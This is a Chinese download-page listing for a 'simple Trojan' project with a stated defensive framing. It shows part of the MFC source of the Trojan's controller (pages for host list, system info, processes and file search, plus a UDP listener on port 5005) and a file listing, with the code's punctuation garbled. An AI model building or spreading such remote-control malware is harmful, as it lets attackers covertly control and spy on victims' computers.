资源简介
随着网络的发展, 越来越多的人们开始依赖网络。他们在享受网络带来的方便和快乐的同时,也受到木马等病毒的侵害。因此,从木马的本质、组成、传播途径以及攻击步骤等几个方面,全面介绍木马,使计算机用户更深层次地认识和预防木马,保障自己的切身利益,防范木马带来的危害。
简单木马制作
基本思路:本木马由两部分组成,即服务端Server程序 和客户端Client程序,采用的是C/S 模式。
对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。
在程序制作中,使用了计时器方法,当用户单击一个命令按钮时,便启动了一个以3秒为界限的超时时间,若超出3秒则提示用户接收信息超时,并关闭定义的计时器,若成功获取到想要的数据后,并在控件中以显示出,则也要对刚才定义的计时器关闭。
代码片段和文件信息
// MyPropertySheet.cpp : implementation file
//
#include “stdafx.h“
#include “Trojan Client.h“
#include “MyPropertySheet.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#include
/////////////////////////////////////////////////////////////////////////////
// CMyPropertySheet
IMPLEMENT_DYNAMIC(CMyPropertySheet CPropertySheet)
CMyPropertySheet::CMyPropertySheet(UINT nIDCaption CWnd* pParentWnd UINT iSelectPage)
:CPropertySheet(nIDCaption pParentWnd iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}
CMyPropertySheet::CMyPropertySheet(LPCTSTR pszCaption CWnd* pParentWnd UINT iSelectPage)
:CPropertySheet(pszCaption pParentWnd iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}
CMyPropertySheet::~CMyPropertySheet()
{
}
BEGIN_MESSAGE_MAP(CMyPropertySheet CPropertySheet)
//{{AFX_MSG_MAP(CMyPropertySheet)
ON_WM_CREATE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyPropertySheet message handlers
int CMyPropertySheet::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CPropertySheet::OnCreate(lpCreateStruct) == -1)
return -1;
// TODO: Add your specialized creation code here
::CreateThread(NULL0MyThreadProcTssNULL0NULL);
Sleep(1000);
CMenu* pSysMenu=GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
// ..
pSysMenu->AppendMenu(MF_STRING SC_MINIMIZE “最小化“);
Modifystyle(0 WS_MINIMIZEBOX);
// ..
}
HICON m_hIcon;
m_hIcon = AfxGetApp()-> LoadIcon(IDI_ICON1);
SetIcon(m_hIcon TRUE); // 设置大图标
SetIcon(m_hIcon FALSE); // 设置小图标
return 0;
}
DWORD WINAPI CMyPropertySheet::MyThreadProcTss(LPVOID lpParameter)
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1 1 );
err = WSAStartup( wVersionRequested &wsaData );
if ( err != 0 )
{
return 0;
}
if ( LOBYTE( wsaData.wVersion ) != 1 ||//判断版本是否为1 1htonl( INADDR_ANY );
HIBYTE( wsaData.wVersion ) != 1 )
{
WSACleanup( );
return 0;
}
SOCKET SocketServer = socket ( AF_INET SOCK_DGRAM 0 );
SOCKADDR_IN AddressServer;
AddressServer.sin_addr.S_un.S_addr = htonl( INADDR_ANY );//inet_addr(“183.170.136.149“);
AddressServer.sin_family = AF_INET;
AddressServer.sin_port = htons( 5005 );
if(bind( SocketServer (SOCKADDR*)&AddressServer sizeof(SOCKADDR) )!=0)
{
return 0;
}
char recvBuf[100]; //用于存储接受的数据
SOCKADDR_IN AddressClient; //客户端的地址信息
int len=sizeof(SOCKADDR);//SOCKADDR为结构体名
while(1)
{
recvfrom( SocketServer recvBuf 100 0 (SOCKADDR*)&AddressClient &len);
theHostIPRecvFromServer=recvBuf;
// CPropHostList dlg;
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 5036 2011-04-04 22:14 Trojan Client\Debug\APPMODUL.obj
文件 0 2011-04-04 22:15 Trojan Client\Debug\APPMODUL.sbr
文件 25233 2011-04-08 18:23 Trojan Client\Debug\MyPropertySheet.obj
文件 0 2011-04-08 18:23 Trojan Client\Debug\MyPropertySheet.sbr
文件 13265 2011-04-05 10:00 Trojan Client\Debug\MySocket.obj
文件 0 2011-04-05 10:00 Trojan Client\Debug\MySocket.sbr
文件 28967 2011-04-08 12:15 Trojan Client\Debug\PropFilesFindDlg.obj
文件 0 2011-04-08 12:15 Trojan Client\Debug\PropFilesFindDlg.sbr
文件 34659 2011-04-13 13:27 Trojan Client\Debug\PropHostList.obj
文件 0 2011-04-13 13:27 Trojan Client\Debug\PropHostList.sbr
文件 26063 2011-04-08 10:36 Trojan Client\Debug\PropMessageDlg.obj
文件 0 2011-04-08 10:36 Trojan Client\Debug\PropMessageDlg.sbr
文件 40303 2011-04-09 20:32 Trojan Client\Debug\PropProcessDlg.obj
文件 0 2011-04-09 20:32 Trojan Client\Debug\PropProcessDlg.sbr
文件 45985 2011-04-09 20:54 Trojan Client\Debug\PropSystemInfoDlg.obj
文件 0 2011-04-09 20:54 Trojan Client\Debug\PropSystemInfoDlg.sbr
文件 105495 2011-04-04 12:00 Trojan Client\Debug\StdAfx.obj
文件 1372058 2011-04-04 12:00 Trojan Client\Debug\StdAfx.sbr
文件 5710848 2011-04-13 13:27 Trojan Client\Debug\Trojan Client.bsc
文件 46624 1998-06-17 00:00 Trojan Client\Debug\Trojan Client.HLP
文件 326252 2011-06-12 21:02 Trojan Client\Debug\Trojan Client.ilk
文件 17102 2011-04-08 18:15 Trojan Client\Debug\Trojan Client.obj
文件 6936712 2011-04-04 12:00 Trojan Client\Debug\Trojan Client.pch
文件 549888 2011-06-12 21:02 Trojan Client\Debug\Trojan Client.pdb
文件 6432 2011-04-08 18:22 Trojan Client\Debug\Trojan Client.res
文件 0 2011-04-08 18:15 Trojan Client\Debug\Trojan Client.sbr
文件 23475 2011-04-05 13:05 Trojan Client\Debug\Trojan ClientDlg.obj
文件 0 2011-04-05 13:05 Trojan Client\Debug\Trojan ClientDlg.sbr
文件 312320 2011-06-12 21:06 Trojan Client\Debug\vc60.idb
文件 389120 2011-04-13 13:27 Trojan Client\Debug\vc60.pdb
............此处省略76个文件信息
- 上一篇:最新人脸识别技术实现的人脸识别系统
- 下一篇:CANPro协议分析平台
评论
共有 条评论